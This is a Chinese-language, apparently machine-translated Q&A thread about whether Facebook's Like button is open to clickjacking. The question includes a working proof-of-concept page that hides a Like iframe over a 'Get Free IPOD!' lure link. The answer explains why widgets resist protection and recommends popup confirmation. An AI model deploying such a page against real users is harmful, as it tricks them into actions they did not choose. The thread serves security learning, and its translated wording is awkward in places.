2014-09-24 50 views
4

几天之前,我已阅读关于从http://javascript.info/tutorial/clickjacking的点击劫持攻击。所以今天我试着用facebook这样的按钮。看来我在实验中取得了成功。Facebook喜欢按钮容易受到点击劫持吗?

但我不知道天气我正确与否?这是我用过的代码片段。

<html> 
<head> 
    <script> 
     window.fbAsyncInit = function() { 
     FB.init({ 
      appId  : '********', 
      xfbml  : true, 
      version : 'v2.1' 
     }); 
     }; 

     (function(d, s, id){ 
     var js, fjs = d.getElementsByTagName(s)[0]; 
     if (d.getElementById(id)) {return;} 
     js = d.createElement(s); js.id = id; 
     js.src = "//connect.facebook.net/en_US/sdk.js"; 
     fjs.parentNode.insertBefore(js, fjs); 
     }(document, 'script', 'facebook-jssdk')); 
    </script> 
    <style> 
     iframe { /* iframe from facebook.com */ 
      width:140px; 
      height:100px; 
      margin-top: 100px; 
      margin-left: 50px; 
      position:absolute; 
      top:0; left:0; 
      filter:alpha(opacity=50); /* in real life opacity=0 */ 
      opacity:0.5; 
     } 
     .a{ 
      margin-top: 95px; 
     } 
    </style> 
</head> 
<body> 
    <div class="a"> 
     <a href="http://www.google.com" target="_blank" style="position:relative;left:20px;z-index:-1">Get Free IPOD!</a> 
    </div> 
    <iframe src="//www.facebook.com/plugins/like.php?href=https%3A%2F%2Fwww.facebook.com%2FTimesnow&amp;width&amp;layout=button&amp;action=like&amp;show_faces=false&amp;share=false&amp;height=35&amp;appId=*****" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:35px;" allowTransparency="true"></iframe> 
</body> 
</html> 

Here is the screenshot.

我可以iframe的不透明度设置为0,使用户无法看到像按钮FB,当用户将点击链接,攻击者页面会自动喜爱。

例小提琴:http://jsfiddle.net/5e5kvxk4/2/

我这么想吗?或Facebook的按钮真的很脆弱?

+0

是的。这就是为什么我的浏览器上安装了一个插件,可以防止Facebook按钮在异地工作。无论如何,你的问题是什么? – 2014-09-24 14:33:02

+0

那么,如何在不禁止嵌入按钮的情况下防止这种情况发生呢? – Bergi 2014-09-24 14:35:14

+0

@DaveChen:我很惊讶Facebook很脆弱。这就是我所问的,脸书没有采取任何预防措施呢? – user3427540 2014-09-24 14:39:29

回答

4

是的,它可能很容易被点击顶起。有isn't a good solution to protect widgets from forged requests使用当前的网络技术。

小部件要么是脆弱的点击劫持或CSRF的解释在这里:

从“How to protect widgets from forged requests”:

你不想要这[插件]是脆弱的CSRF所以你写该页面的iframe。根据原点继承规则,父网站将无法读取CSRF令牌。然而,点击劫持(或劫持)呢?由于CSRF,您必须在iframe中,并且x框架选项无法提供帮助,帧同步器也是如此。

目前的最佳解决方案似乎是采用弹出式窗口为了验证点击:

点击小部件需要打开一个包含新页面的弹出窗口 - iframe不够好,它必须是一个新窗口 - 完全在控制您的Web应用程序。确认该页面上的操作,无论它是什么。

是的,这有点不雅观,但目前的Web安全架构并没有给你更好的选择。